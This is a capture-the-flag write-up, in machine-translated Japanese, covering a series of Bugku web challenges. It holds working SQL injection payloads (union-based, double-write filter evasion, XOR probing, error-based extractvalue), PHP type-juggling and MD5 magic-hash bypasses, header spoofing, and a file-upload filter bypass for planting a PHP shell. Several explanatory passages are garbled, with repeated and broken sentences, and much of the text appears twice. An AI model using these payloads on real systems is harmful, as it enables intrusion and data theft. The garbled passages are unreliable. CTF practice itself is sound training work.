bugku_Web
スピードが速い
ヒントは速く、POSTにmarginパラメータを着てまずBurpsuiteでパッケージをつかむサプライズ base 64復号 POSTを直接提出する必要があります.
直接flag を得る
Cookie詐欺
は何をスキャンしてurlを観察するのか分からないが、a 2 V 5 cy 50 eHQ=base 64符号化であり、復号後はkeysであることが分かった.txtはfilenameでindexにアクセスしようとする.php(元urlはbase 64を使用し、これもindex.phpを符号化する)、lineパラメータは行数であるべきで、line=2 を試して1行で試すことができますが、面倒すぎてpython実現
取得するphpソース
ヘッダーでCookie:margin=margin
never give up
ソースコードを直接表示
ヒントアクセス1 p.html
直接bugkuのトップページにリダイレクトされます
Burp Suiteでバッグをつかむ
url復号後注釈部分はbase 64符号化も行われていることが分かった
復号後url復号
最後に手に入れる
やっと出てきてコードを分析しました
stripos(文字列a,文字列b)関数は、文字列aにおいて文字列bが初めて現れる位置(大文字と小文字を区別しない)を検索する.
file_get_contentsファイル全体を文字列に読み込む
strlen()関数は文字列の長さを返します
substr()関数は文字列の一部を返します.substr(string,start,length)、lengthパラメータはオプションです.substr($b,0,1)はパラメータbに0から1つの長さの文字列を返す.
eregi(「111」.substr(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.s u b s t r(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.substr(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.substr(b,0,1)という規則の
総じて、aパラメータがファイル内に入力された場合「bugku is a nice plateform!」文字列、idパラメータは0である、bパラメータの長さは5より大きく、「1114」この文字列に一致するかどうか111」である.substr(b,0,1)というルールの、s u b s t r(b,0,1)というルールの、substr(b,0,1)というルールの、substr(b,0,1)が4以上の条件を満たすことができない場合は、f 4 l 2 a 3 gを要求する.txt
:)面倒なので、f 4 l 2 a 3 gに直接アクセスできるかどうか試してみましょう.txtでしょう
アクセスできますflag私はあなたを見ました!
せいそくもじ
解析正規表現
まずこの問題を分析します.
デリミタ:/と/(一般的にはこの2つですが、実はとアルファベットの数字以外はペアで現れる限りデリミタと見なすことができます.
. (1つのポイント):任意の文字に一致することを示します.:前の文字は0回または複数回繰り返します.
{n,m}:前の文字は4~7回繰り返します.
(反斜線):後の文字がエスケープされます.
[a-z]:aからzで一致する;
[[::punct:]]:任意の句読点に一致します.
/i:この正規表現が大文字と小文字に敏感ではないことを示す.
これで,この問題の正規表現を構築することができる.
例えば:keyakeyaaakey:/a/aakeyb!key 1 key 11111 key:/1/1 keya、答えは唯一ではありません
正規表現構文補完:
一、
「b」:任意の文字を消費せずに1つの位置だけを一致させ、文字列の「This is Regex」から個別の単語「is」を一致させたい場合は「bisb」と書くのが一般的です.
bはisの両方の文字に一致しませんが、isの両方が単語の境界であるかどうかを認識します.
"d":一致する数値
"w":アルファベット、数字、下線に一致します.
"s":スペースの一致
“.”:改行以外の任意の文字を一致させる
「[abc]」:文字グループはカッコ内の要素を含む文字に一致します.
追加:
「W」は、アルファベット、数字、下線以外の任意の文字に一致します.
"S"は空白文字以外の任意の文字に一致します.
「D」は任意の数字以外の文字に一致します.
「B」一致は単語の先頭または末尾の位置ではありません
「^abc」はabc以外の任意の文字に一致します
元カノ
ソースコードを表示してcodeを発見します.txt
この問題は簡単です3つの配列で迂回する必要があります
どこから来ましたか.
Referヘッダを直接修正
md5 collision
MD 5は衝突して、1つの0 eの初めのMD 5を探してgetの方式を通じてaに伝わります
プログラマーのWebサイト
X-Forwarded-Forを修正すればいい
いろいろ迂回して
コード監査
md 5()関数では配列を処理できず、入力された配列が配列であればNULLが返されるため、2つの配列は暗号化されてNULL、すなわち等しい.
Web8
コード監査
extract()この関数は、変数名として配列キー名、変数値として配列キー値を使用します.配列内の各要素に対して、現在のシンボルテーブルに対応する変数が作成されます.trim()文字列の先頭と末尾の空白文字(または他の文字)を除去
php://input php://inputリクエストされた元のデータにアクセスできる読み取り専用ストリームは、postリクエストされたデータをphpコードとして実行します.入力したパラメータをファイル名として開くと、パラメータをphp://inputと、同時にpostが設定したいファイル内容はphp実行時にpost内容をファイル内容とします.
allowを開く必要がありますurl_include
注意:enctype="multipart/form-data"の場合、php://input無効です.
getshell
ファイルはphpにアップロードできません01.jpgは役に立たないようだ
アップロード2.php Invalid file
1、拡張子filename 2、filenameの次の行のContent-Type:image/jpeg 3、最も重要なのはリクエストヘッダのContent-Typeフィールドで、大文字と小文字を迂回する、つまりmultipart/form-dataのいずれかのアルファベットを大文字に変更すればよい
拡張子について:php 2,php 3,php 4,php 5,phps,pht,phtm,phtmlを試験した後,php 5のみが迂回できることが分かった
これは不思議なログインボックスです
これは、sql注入ユーザがadminを試みるパスワードが任意に反応していないことを発見ユーザがadminを試みることである可能性がある「エラーを発見し、w_passwdフィールドがBurpBuiteでadmin_name=adminを再生する」union select 1,2%23&admin_passwd=amdin&submit=GO+GO+GO admin_name=admin"union select 1,2,3%23&admin_passwd=amdin&submit=GO+GO クエリーのフィールド数を2と判断
テーブル名を調べる(クエリーするフィールドを最初のフィールドに配置することに注意)
表名を得る:flag 1,whoami
フィールド名を調べる
フィールド名flag 1を取得
flagを調べる
複数回
このURLを見て、sql注入id=1’がerrorに戻った可能性が高いと思います.id=1’or 1=1–+もエラーを報告し、フィルタリングして二重書き込みを試みる可能性があります.id=1'oorr 1=1–+は正常に戻ります.では、どの文字列がフィルタされているかをどのように検出しますか?新スキルGET!異或注入理解してみると、2つの条件が同じ(同真または同偽)であることが偽である.
unionがフィルタリングされていない場合、length(‘union’)!=0が真の場合、1^1はid=0を出力し、ページはerrorを返し、unionがフィルタリングされた場合、length(‘union’)!=0が偽の場合、1^0はid=1を出力し、ページは正常に戻り、フィルタリングされた文字列をテストします:and,or,union,select
SQL文を推測すると、いくつかのフィールドが検索されます.
表名を調べる(注意:informationにもorダブルで迂回可能)
flag 1,hintを得る
クエリーフィールド名
flag 1テーブルにはflag 1、addressフィールドhintテーブルにid、contentsがあります
flagを調べる
入手:usOwycTju+FTUUzXosjr./Once_More.phpの提出は役に立たないが、テーマは2つのflagを提示している./Once_More.phpはこのページにアクセスします
ヒントに従ってgetはid=1’のエラーを提出し、注入します.
判定フィールド数?id=1’order by 2—+正常?id=1’order by 3–+エラー
union注入を試みる?id=3’union select 1,2-+ unionはフィルタリングされてダブルライトを試してフィルタリングされます
注入遅延を試みる?id=1’and sleep(10)-+sleep()がフィルタリングされる
太字スタイルでエラー注入を試行
?id=1’and(extractvalue(1,concat(0x7e,database(),0x7e)))–+
成功報錯喜ばしい成功は成功から遠くない.
爆表名
テーブル名class,flag 2を取得
爆発フィールド:
取得フィールド:flag 2,address
爆flag:
ヒントは速く、POSTにmarginパラメータを着てまずBurpsuiteでパッケージをつかむサプライズ base 64復号 POSTを直接提出する必要があります.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author:Box time:2019/10/14
import requests
import base64
url = "http://123.206.87.240:8002/web6/"
r = requests.session()
headers = r.get(url).headers # flag
mid = base64.b64decode(headers['flag'])
print mid
flag = base64.b64decode(mid.split(':')[1]) # flag:
data = {'margin': flag}
print (r.post(url, data).text) # post
直接flag を得る
Cookie詐欺
は何をスキャンしてurlを観察するのか分からないが、a 2 V 5 cy 50 eHQ=base 64符号化であり、復号後はkeysであることが分かった.txtはfilenameでindexにアクセスしようとする.php(元urlはbase 64を使用し、これもindex.phpを符号化する)、lineパラメータは行数であるべきで、line=2 を試して1行で試すことができますが、面倒すぎてpython実現
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author:Box time:2019/10/14
import requests
for i in range(0,100):
url = 'http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'% i
line = requests.get(url)
if len(line.text)>0:
print line.text
取得するphpソース
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //margin=margin
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
ヘッダーでCookie:margin=margin
never give up
ソースコードを直接表示
ヒントアクセス1 p.html
http://123.206.87.240:8006/test/1p.html
直接bugkuのトップページにリダイレクトされます
Burp Suiteでバッグをつかむ
url復号後注釈部分はbase 64符号化も行われていることが分かった
<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
復号後url復号
<!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E-->
最後に手に入れる
<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>-->
やっと出てきてコードを分析しました
stripos(文字列a,文字列b)関数は、文字列aにおいて文字列bが初めて現れる位置(大文字と小文字を区別しない)を検索する.
file_get_contentsファイル全体を文字列に読み込む
strlen()関数は文字列の長さを返します
substr()関数は文字列の一部を返します.substr(string,start,length)、lengthパラメータはオプションです.substr($b,0,1)はパラメータbに0から1つの長さの文字列を返す.
eregi(「111」.substr(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.s u b s t r(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.substr(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.substr(b,0,1)という規則の
総じて、aパラメータがファイル内に入力された場合「bugku is a nice plateform!」文字列、idパラメータは0である、bパラメータの長さは5より大きく、「1114」この文字列に一致するかどうか111」である.substr(b,0,1)というルールの、s u b s t r(b,0,1)というルールの、substr(b,0,1)というルールの、substr(b,0,1)が4以上の条件を満たすことができない場合は、f 4 l 2 a 3 gを要求する.txt
:)面倒なので、f 4 l 2 a 3 gに直接アクセスできるかどうか試してみましょう.txtでしょう
アクセスできますflag私はあなたを見ました!
せいそくもじ
解析正規表現
まずこの問題を分析します.
デリミタ:/と/(一般的にはこの2つですが、実はとアルファベットの数字以外はペアで現れる限りデリミタと見なすことができます.
. (1つのポイント):任意の文字に一致することを示します.
{n,m}:前の文字は4~7回繰り返します.
(反斜線):後の文字がエスケープされます.
[a-z]:aからzで一致する;
[[::punct:]]:任意の句読点に一致します.
/i:この正規表現が大文字と小文字に敏感ではないことを示す.
これで,この問題の正規表現を構築することができる.
例えば:keyakeyaaakey:/a/aakeyb!key 1 key 11111 key:/1/1 keya、答えは唯一ではありません
正規表現構文補完:
一、
「b」:任意の文字を消費せずに1つの位置だけを一致させ、文字列の「This is Regex」から個別の単語「is」を一致させたい場合は「bisb」と書くのが一般的です.
bはisの両方の文字に一致しませんが、isの両方が単語の境界であるかどうかを認識します.
"d":一致する数値
"w":アルファベット、数字、下線に一致します.
"s":スペースの一致
“.”:改行以外の任意の文字を一致させる
「[abc]」:文字グループはカッコ内の要素を含む文字に一致します.
追加:
「W」は、アルファベット、数字、下線以外の任意の文字に一致します.
"S"は空白文字以外の任意の文字に一致します.
「D」は任意の数字以外の文字に一致します.
「B」一致は単語の先頭または末尾の位置ではありません
「^abc」はabc以外の任意の文字に一致します
元カノ
ソースコードを表示してcodeを発見します.txt
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
この問題は簡単です3つの配列で迂回する必要があります
http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3
どこから来ましたか.
Referヘッダを直接修正
md5 collision
MD 5は衝突して、1つの0 eの初めのMD 5を探してgetの方式を通じてaに伝わります
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
http://123.206.87.240:9009/md5.php?a=s1665632922a
プログラマーのWebサイト
X-Forwarded-Forを修正すればいい
いろいろ迂回して
コード監査
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
md 5()関数では配列を処理できず、入力された配列が配列であればNULLが返されるため、2つの配列は暗号化されてNULL、すなわち等しい.
Web8
コード監査
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "This is flag:"
." $flag";
}
else
{
echo "sorry!
";
}
}
?>
extract()この関数は、変数名として配列キー名、変数値として配列キー値を使用します.配列内の各要素に対して、現在のシンボルテーブルに対応する変数が作成されます.trim()文字列の先頭と末尾の空白文字(または他の文字)を除去
php://input php://inputリクエストされた元のデータにアクセスできる読み取り専用ストリームは、postリクエストされたデータをphpコードとして実行します.入力したパラメータをファイル名として開くと、パラメータをphp://inputと、同時にpostが設定したいファイル内容はphp実行時にpost内容をファイル内容とします.
allowを開く必要がありますurl_include
注意:enctype="multipart/form-data"の場合、php://input無効です.
getshell
ファイルはphpにアップロードできません01.jpgは役に立たないようだ
アップロード2.php Invalid file
1、拡張子filename 2、filenameの次の行のContent-Type:image/jpeg 3、最も重要なのはリクエストヘッダのContent-Typeフィールドで、大文字と小文字を迂回する、つまりmultipart/form-dataのいずれかのアルファベットを大文字に変更すればよい
拡張子について:php 2,php 3,php 4,php 5,phps,pht,phtm,phtmlを試験した後,php 5のみが迂回できることが分かった
これは不思議なログインボックスです
これは、sql注入ユーザがadminを試みるパスワードが任意に反応していないことを発見ユーザがadminを試みることである可能性がある「エラーを発見し、w_passwdフィールドがBurpBuiteでadmin_name=adminを再生する」union select 1,2%23&admin_passwd=amdin&submit=GO+GO+GO admin_name=admin"union select 1,2,3%23&admin_passwd=amdin&submit=GO+GO クエリーのフィールド数を2と判断
テーブル名を調べる(クエリーするフィールドを最初のフィールドに配置することに注意)
admin_name=admin"union select group_concat(table_name),null from information_schema.tables where table_schema=database()%23&admin_passwd=amdin&submit=GO+GO+GO
表名を得る:flag 1,whoami
フィールド名を調べる
admin_name=admin"union select group_concat(table_name),null from information_schema.columns where table_name='flag1'%23&admin_passwd=amdin&submit=GO+GO+GO
フィールド名flag 1を取得
flagを調べる
admin_name=admin"union select group_concat(flag1),null from flag1 %23&admin_passwd=amdin&submit=GO+GO+GO
複数回
このURLを見て、sql注入id=1’がerrorに戻った可能性が高いと思います.id=1’or 1=1–+もエラーを報告し、フィルタリングして二重書き込みを試みる可能性があります.id=1'oorr 1=1–+は正常に戻ります.では、どの文字列がフィルタされているかをどのように検出しますか?新スキルGET!異或注入理解してみると、2つの条件が同じ(同真または同偽)であることが偽である.
http://123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)--+
unionがフィルタリングされていない場合、length(‘union’)!=0が真の場合、1^1はid=0を出力し、ページはerrorを返し、unionがフィルタリングされた場合、length(‘union’)!=0が偽の場合、1^0はid=1を出力し、ページは正常に戻り、フィルタリングされた文字列をテストします:and,or,union,select
SQL文を推測すると、いくつかのフィールドが検索されます.
?id=1'uniounionn sselectelect 1,2--+ //
?id=1'uniounionn sselectelect 1,2,3--+ //error 2
表名を調べる(注意:informationにもorダブルで迂回可能)
?id=0'ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
flag 1,hintを得る
クエリーフィールド名
http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='hint'--+
flag 1テーブルにはflag 1、addressフィールドhintテーブルにid、contentsがあります
flagを調べる
http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(flag1) from flag1--+
入手:usOwycTju+FTUUzXosjr./Once_More.phpの提出は役に立たないが、テーマは2つのflagを提示している./Once_More.phpはこのページにアクセスします
ヒントに従ってgetはid=1’のエラーを提出し、注入します.
判定フィールド数?id=1’order by 2—+正常?id=1’order by 3–+エラー
union注入を試みる?id=3’union select 1,2-+ unionはフィルタリングされてダブルライトを試してフィルタリングされます
注入遅延を試みる?id=1’and sleep(10)-+sleep()がフィルタリングされる
太字スタイルでエラー注入を試行
?id=1’and(extractvalue(1,concat(0x7e,database(),0x7e)))–+
成功報錯喜ばしい成功は成功から遠くない.
爆表名
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+
テーブル名class,flag 2を取得
爆発フィールド:
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--+
取得フィールド:flag 2,address
爆flag:
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2,address) from flag2),0x7e)))--+